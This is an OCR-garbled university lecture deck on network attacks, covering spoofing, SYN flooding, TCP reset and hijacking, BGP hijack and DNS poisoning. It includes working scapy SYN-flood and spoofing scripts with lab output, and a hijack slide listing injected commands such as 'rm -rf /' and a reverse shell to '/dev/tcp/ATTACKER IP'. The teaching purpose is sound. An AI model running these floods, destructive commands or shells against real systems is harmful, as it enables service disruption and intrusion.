CSCIl 466: Networks

Network Security (Network Attacks)

Reese Pearsall
Fall 2024

/A MONTANA
RST

STATE UNIVERSITY


https://www.cs.montana.edu/pearsall/classes/fall2023/466/main.html

Network Attacks

» Disrupt services, steal data, cause damage over a network

TCP related attacks
e TCP Reset

« TCP Flooding

« TCP Hijack

We talk about some of these

in-depth in CSCI 476

Malicious Network Routing
 BGP Hijack
 DNS Poisoning
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Review of TCP

Transport Layer TCP States ciient)
Wait 30 seconds™ ;

TIME_WAIT

Client application initiates a
TCP connection

Receive SYN and ACK,
send ACK

Receive FIN,
send ACK

FIN_WAIT 2

ESTABLISHED

FIN_WAIT_1 Client application
Send FIN Iinitiates close connection

T

Receive ACK, send nothing
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Review of TCP . 32 Bits .

Source port Destination port

Sequence number

Acknowledgement number

TCP PIR|S|F
header S|S|Y]|I Window size
length H{TIN|N
Checksum Urgent pointer
e Options (0 or more 32-bit words) .
o) Data (optional) b
If the Reset (RST) flag is set (1), then the TCP connection will be reset o B

If the SYN flag is set(1), then a TCP handshake will be attempted TCP Handshake

SYN/ACK
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Network Attacks

Packet spoofing is the creation of network packets,
typically with the purpose of impersonating another person

or system
—— We can use the scapy module to easily construct spoofed packets
Q packet with spoofed I#! /us r/bin{pythqn?.

source IP address from scapy.all import *

' IPsource IP destination import time
1234 | 5555 from random import getrandbits
A Web server from ipaddress import IPv4Address
w;?§§$ e while(True):
E - } dst ip = str(IPv4Address(getrandbits(32)))

. ip = IP(src="10.9.0.1", dst=dst ip)

' IP address: iClTlp = ICMP()
i 5555 pkt = ip/icmp
e send(pkt)

Il;_édd_ress: time.sleep(l)
1234

We can use scapy to spoof TCP packets....
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SYN Flooding

[

. —
TCP Client TCP Server
e

SYN + ACK

Waiting for an ACK...

The Achilles heel:

TCP servers will accept
SYN requests, send out
SYN+ACK, and wait to
receive an ACK

/A MONTANA

STATE UNIVERSITY




SYN Flooding

[

The Achilles heel:

TCP servers will accept
SYN requests, send out
SYN+ACK, and wait to

TCP Client TCP Server receive an ACK

—

SYN + ACK

SYN + ACK

SYN + ACK

Waiting for an ACK...

If it does not get an ACK after some amount
of time, it will retransmit
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SYN Flooding The Achilles heel:

TCP servers will accept

SYN requests, send out

SYN+ACK, and wait to
TCP Client TCP Server receive an ACK

"‘ The TCP server will hold our request until we drop it

SYN + ACK TCP Request SYN Queue

There is a time period where our

SYN + ACK request is held in the SYN queue
before it is dropped

SYN + ACK
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SYN Flooding The Achilles heel:

TCP servers will accept

SYN requests, send out

SYN+ACK, and wait to
TCP Client TCP Server receive an ACK

”’ The TCP server will hold our request until we drop it

SYN + ACK TCP Request SYN Queue

There is a time period where our

SYN + ACK request is held in the SYN queue
before it is dropped

SYN + ACK

Goal: Send of a lot of SYN requests
form spoofed source IP addresses!
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SYN Flooding The Achilles heel:

TCP servers will accept
SYN requests, send out
SYN+ACK, and wait to

e :
TCP Client TCP Server receive an ACK

SYN
The TCP server will hold our request until we drop it

s

SYN TCP Request SYN Queue

SYN .
 ‘ We can quickly the SYN gqueue

SYN buffer with our spoofed request

SYN The TCP server will hold those requests in the

“‘ queue while it waits
T




SYN Flooding The Achilles heel:

TCP servers will accept
SYN requests, send out
SYN+ACK, and wait to

e :
TCP Client TCP Server receive an ACK

SYN
The TCP server will hold our request until we drop it

s

SYN TCP Request SYN Queue

SYN .
 ‘ We can quickly the SYN gqueue

SYN buffer with our spoofed request

SYN The TCP server will hold those requests in the

gueue while it waits

T
SYN _ The TCP server won'’t be able
to accept new connections!
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SYN Flooding The Achilles heel:

TCP servers will accept
SYN requests, send out
SYN+ACK, and wait to

Attacker Server receive an ACK

[l@/27/22]se€d@UH:—-7. ../TCP_Attacks$ sysctl net.ipv4.tcp max syn backlog
net.ipv4.tcp max syn backlog = 128

(The size of this buffer is also set

_ by the operating system)

(b) SYN Flooding Attack \

If a new SYN comes in (from a legitimate user), they will be denied
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#1/bin/env python3jj

from scapy.all import IP, TCP, send
from 1lpaddress import IPv4Address

from random import getrandhitap ” the vict
/ aadress O e viclum server

ip = IP(dst="10.9.0.7") Set the SYN fla
tcp = TCP(dport=23, flags='5'}«////// ]
pkt = ip/tcp

while True: ©
pkt[IP].src str(IPv4Address(getrandbits(32)))
pkt[TCP].sport getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt, verbose = 0)

Repeatedly send a TCP packet to 10.9.0.7,
O with a random source IP address
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root@ds49e012d6fd: /# netstat -tna Attacker
Active Internet connections (servers and established) _
Proto Recv-Q Send-Q Local Address Foreign Address State [1@/27/22]5eed@\”\1:~/ . ./tcp_attacks$ sudo pyth0n3 synflood.py
tcp 0 0 127.0.0.11:39057 0.0.0.0:* LISTEN M
tep 0 0 0.0.0.0:2 0.0.0.0:* LISTEN
tep 0 0 10.9.0.5:23 84.214.105.184:34308  SYN RECV
tcp 0 0 10.9.0.5:23 178.105.10.39:29935 SYN_RECV
tep 0 0 10.9.0.5:23 255.8.229.236:41503 SYN RECV
t 0 0 10.9.0.5:23 56.252.62.113:55730 SYN RECV :
tEE 0 0 10.9.0.5:23 69.66.205.21:18690 SYN_RECV New termmal
tcp 0 0 10.9.0.5:23 122.154.143.88:41910  SYN_RECV
tep 0 0 10.9.0.5:23 131.98.218.150:62638  SYN RECV
tep 0 0 10.9.0.5:23 14.44.182.254:33765 SYN RECV [10/27/22]seed@VM:~$ telnet 10.9.0.5
tcp 0 0 10.9.0.5:23 98.170.141.0:49524 SYN_RECV :
tcp 0 0 10.9.0.5:23 137.191.232.56:51616  SYN_RECV Trying 10.9.0.5...
tcp 0 0 10.9.0.5:23 70.12.28.153:61150 SYN RECV | //
" Server is full!
synflood.py

) W ’V flll [16/27/22]5eed@Vi:~§ telnet 10.9.6.5

# ! fblnfenv pyth0n3l _e e ed . ;gi;g%:,.]:grllgt;?;‘t-'é-cgnnect to remote host: Connection timed out
this server with B
from scapy.all import IP, TCP, send | spoofed SYN Denied/
from ipaddress import IPv4Address
i : requests

from random import getrandbits
ip = IP(dst="10.9.0.7")
tcp = TCP(dport=23, flags='S")
pkt = ip/tcp
while True:

pkt[IP].src = str(IPv4Address(getrandbits(32)))

pkt[TCP].sport = getrandbits(16)

pkt[TCP].seq = getrandbits(32)

send (pkt, verbose = 0) Repeatedly send a TCP packet to 10.9.0.7,
O with a random source IP address
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TCP Reset

» Goal: Break an established TCP connection by
sending a spoofed RESET (RST) packet

16 bits 16 bits

~
A\ J
~
A\ J

Source Port Destination Port

Sequence number

Acknowledgement number

Header |Reserved| U | A S |F

P : :
Length bits rlc|s v |1 Window Size
H

{Advertisement Window)

(4bits) (6bits) | ¢ | K N |IN
Check sum Urgent Pointer
Options
F (0 - 40 bytes) F
Packet
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TCP Reset Attack

In order to do our attack, we first need to find an ongoing TCP

communication between two users! A server reads data in some order

o _ _ _ (typically by sequence number)
To detect an already-existing TCP connection, we will use wireshark!

. | ] L ] L | I | ] 1 ] 1 ]
Client EAS ’| Server
10.9.0.6 RS 0905
Attacker SEQ # = 4440
10.9.0.1 If the server gets a SEQ# of something
below 4440, it will ignore it
In our spoofed packet, we
(@@@ are placeholders) need to make sure we select a
#!/usr/bin/env python3 sequence number that
from scapy.all import =«
matches the sequence number
ip = IP(src="@@ERA", dst="@RRR") the server is expecting!
tcp = TCP (sport=Q@REE, dport=@REE, flags="R", seq=@RER)
pkt = ip/tcp
18 (pkt) We also need to select the same ports!

send (pkt, verbose=0)
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(1 Tube|

| later. Learn More
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TCP Hijack Attack

Hijack a current TCP connection and get a TCP server (a telnet connection) to execute commands of our choice

Possible commands we might want to execute:

e cat secret_password.txt
e rm-—rf/

¢ > /dev/tcp/ATTACKER IP/ATTACKER PORT

Can |l run "sudo rm -rf /"?

Client »| Server

10.9.0.6 109.05
Attacker Linux
10.9.0.1

*We need to make sure the
spoofed packet as a SEQ # and
an ACK # that the TCP server is
expecting

That feels weird, but I'll allow it
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BGP Hijack

BGP is the routing protocol used to connect autonomous systems

Routers send BGP messages to advertise which network prefixes they have access to

If we can trick a BGP router into accepting our bogus routing advertisements, we can redirect traffic

R Q

User Network BGP Router

Intermediary network  Destination network

A (Do something malicious)

Wrong network
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DNS Poisoning

Attack is going to inject false
DNS entries for legitimate
services (montana.edu) and
link a malicious IP address for
a fake website

If a DNS server is waiting for a DNS query
response, we could (very quickly) send a
spoofed DNS resolution packet that looks like
its coming from a legitimate source

\.
& .
Q «
)
e Communicate with server
<

D
KD
T [ oo
User / Client Server
(138.201.255.164)
REAL WEBSITE

1. Requestto

real Website
CLIENT ~
- oooo

3. Resolve to Fake

2. Inject Fake DNS Website
Entry
D—*—‘\ FAKE WEBSITE
DNS Spoofing ATTACKER
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Top [TINEIL Security €

heatsheet
) ByteByteGo

request

® SQL Injection

~

T B e e >
7.Application S el e . &gsss)-Site Scripting
Layer
y * DDos attacks
s Precentation| L) [ enenmion | |1 KHETREST Encoding
rFresentation :enw ding ] e SSL Striping
Layer ——— o Data Compression
Manipulation
Seesion ® Session replay
ion I @ le——-———____ » Session fixation
5. LSeS|0n (s attacks
ayer * Man-in-the-middle
O, W
10110 10nolll® UDP flood
4 Transport 1010 ~ ~ = = >y~ --->]|10110
Layer segmentation TCP- UD.P reassembly | o SYN flood
-2 é--—-..._____ » P spoofing
3.Network « Route table
Layer manipulation
agas‘é'::tgsly » Smurf attack
>\ Data Link o // ¢ MAC address spoofing
.Uata Lin — - — — — —» intra-network
Layer /_I > communications ™ ARP SpOOfII‘Ig
frames e Switch flooding
' g ﬁ S 00100144 5 ; ﬁ «» Eavesdropping/Tapping
1 .T_hYSlCEl' _ i R ) | |+ Physical tampering
ayer senm; receiving | o i
Electromagnetic
cable g interferente

MONTANA
STATE UNIVERSITY




	Slide 1: CSCI 466: Networks Network Security (Network Attacks)
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14
	Slide 15
	Slide 16
	Slide 17
	Slide 18
	Slide 19
	Slide 20
	Slide 21

